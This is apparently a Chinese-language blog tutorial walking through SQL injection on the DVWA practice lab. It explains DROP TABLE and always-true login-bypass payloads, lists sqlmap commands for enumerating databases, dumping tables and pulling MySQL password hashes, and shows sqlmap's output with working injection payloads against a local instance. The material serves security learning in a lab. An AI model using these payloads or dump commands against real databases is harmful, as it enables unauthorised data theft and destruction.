当前位置: 首页 > news >正文

SQL Injection

SQL Injection

        SQL injection(SQL注入),通过在输入字段或URL查询参数中执行SQL命令,导致对数据库的未经授权的访问。如果SQL注入成功,未经授权的人可能会读取、创建、更新甚至删除数据库表的记录

        举个例子:

        假设我们有一个搜索表单,用于通过ID搜索我们网站上的产品。如果用户在表单中输入20; DROP TABLE Products;,那么SQL语句就变成了SELECT * FROM Products WHERE product_id = 20; DROP TABLE Products;。现在,这个SQL语句会从数据库中删除Products表。这是可能的,因为大多数数据库系统可以同时执行多个语句

        另一种执行SQL注入的方法是通过传递一个始终为TRUE的条件,以便无论如何都能获取数据。例如,如果用户将用户名输入为invalid_user" OR "1"="1,并将密码输入为invalid_pass" OR "1"="1,那么SQL语句就变成了SELECT * FROM Users WHERE username = "invalid_user" OR "1"="1" AND password = "invalid_pass" OR "1"= "1"。由于"1"="1"始终为TRUE,所以无论用户输入什么用户名和密码,SQL都会从数据库中获取所有用户的数据

        在下面的测试中我们使用,工具sqlmap进行,下面是一些常用的sqlmap的命令

  1. 检测是否存在注入点:

    python sqlmap.py -r "请求文件包路径"

    这个命令用于检测指定请求文件包中是否存在 SQL 注入漏洞。

  2. 获取注入点所有数据库:

    python sqlmap.py -r "响应包路径" --dbs

    一旦确认存在注入点,这个命令将用于获取目标数据库服务器上的所有数据库名称。

  3. 获取当前使用的数据库:

    python sqlmap.py -r "响应包路径" --current-db --batch

    这个命令用于获取当前数据库服务器上正在使用的数据库。

  4. 获取数据库中的表:

    python sqlmap.py -r "响应包路径" --tables -D "数据库名" --batch

    一旦确认存在数据库,这个命令将用于获取指定数据库中的所有表。

  5. 获取表中的字段信息:

    python sqlmap.py -r "响应包路径" --columns -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中的所有字段信息。

  6. 获取字段具体信息:

    python sqlmap.py -r "响应包路径" --dump -C "字段名(可多个)" -T "表名" -D "数据库名" --batch

    这个命令用于获取指定表中指定字段的具体信息。

  7. 获取当前使用的账户:

    python sqlmap.py -r "响应包路径" --current-user

    这个命令用于获取当前数据库连接的用户。

  8. 列出所有使用过的账户:

    python sqlmap.py -r "响应包路径" --users

    这个命令用于列出所有在目标数据库服务器上使用过的用户。

  9. 获取 MySQL 的登录账户和密码:

    python sqlmap.py -r "响应包路径" --passwords

    这个命令用于获取 MySQL 数据库中存储的账户和密码。

Low

        我们先进行尝试,输入User ID显示对应的name,并且输入的ID值在URL栏中,抓包,获取请求文件。

        SQLMap 需要了解应用程序如何处理用户输入并构建 SQL 查询。通常情况下是通过分析请求的方式来检测 SQL 注入漏洞的,

        

        将请求保存到文件 ,使用     sqlmap.py -r  “请求文件的路径”  来判断是否存在注入点

根据 SQLMap 的输出,已确认了 GET 参数 id 存在 SQL 注入漏洞,后端数据库管理系统(DBMS)是 MySQL,Web 应用程序使用的技术是 PHP 7.3.4 和 Apache 2.4.39。

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 150 HTTP(s) requests:
---
Parameter: id (GET)Type: boolean-based blindTitle: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)Payload: id=1' OR NOT 6167=6167#&Submit=SubmitType: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: id=1' AND GTID_SUBSET(CONCAT(0x7178627a71,(SELECT (ELT(5600=5600,1))),0x7170766b71),5600)-- fHCD&Submit=SubmitType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: id=1' AND (SELECT 2140 FROM (SELECT(SLEEP(5)))sxtb)-- lceH&Submit=SubmitType: UNION queryTitle: MySQL UNION query (NULL) - 2 columnsPayload: id=1' UNION ALL SELECT CONCAT(0x7178627a71,0x4641787449665a466652656c6854747941486f476d76576569754c78454c6e6774687643746c5458,0x7170766b71),NULL#&Submit=Submit
---
[21:47:55] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[21:47:57] [INFO] fetched data logged to text files under 'C:\Users\LI\AppData\Local\sqlmap\output\127.0.0.1'

获取所有数据库名

 python .\sqlmap.py -r  C:\Users\LI\Desktop\请求.txt -dbs 

available databases [2]:
[*] dvwa
[*] information_schema

获取当前数据库名

python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  --current-db --batch

获取数据库表信息:

 python .\sqlmap.py -r  C:\Users\LI\Desktop\请求文件.txt  -D DVWA -tables

获取DVWA数据库user表的列:

 python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  -D dvwa --tables

尝试检索并显示指定列的数据 (会对CPU造成较大的负担,风扇声音较大是正常的)

 python .\sqlmap.py -r C:\Users\LI\Desktop\请求.txt  -D dvwa -T users -C user,password,user_id --dump

Medium

 使用工具注入,步骤相似,略

High

 使用工具注入,步骤相似,略

http://www.lryc.cn/news/235919.html

相关文章:

  • 【Go入门】 Go搭建一个Web服务器
  • VS 将 localhost访问改为ip访问
  • app使用
  • 【迅搜01】安装运行并测试XunSearch
  • Mac电脑VSCode配置PHP开发环境
  • SpirngBoot + Vue 前后端分离开发工具代码
  • 【数据结构初阶】单链表(附全部码源)
  • 数据治理入门
  • uniapp 微信小程序登录 新手专用 引入即可
  • PMCW体制雷达系列文章(4) – PMCW雷达之抗干扰
  • Gin框架源码解析
  • MacOS设置JAVA_HOME环境变量
  • 闭眼检测实现
  • 系列六、Java垃圾回收器主要有哪些?
  • 【7】Spring Boot 3 集成组件:缓存组件 spring cache + spring data redis
  • 说说Java中的不可重入锁
  • C++学习 --vector
  • Android图片涂鸦,Kotlin(1)
  • upload-labs(1-17关攻略详解)
  • 《 机器人基础 》期末试卷(A)
  • Azure Machine Learning - Azure AI 搜索中的矢量搜索
  • 3 redis实现一个消息中间件
  • js添加dom到指定div之后,并给添加的dom类名,然后设置其样式,以及el-popover层级z-index过高问题解决。
  • C语言结构体
  • 【Python大数据笔记_day10_Hive调优及Hadoop进阶】
  • React经典初级错误
  • C# System.Array.CopyTo() 和 System.Array.Clone() 有什么区别
  • Stable Diffusion 启动时 got an unexpected keyword argument ‘socket_options‘ 错误解决
  • CSS 文本属性篇
  • Activiti,Apache camel,Netflex conductor对比,业务选型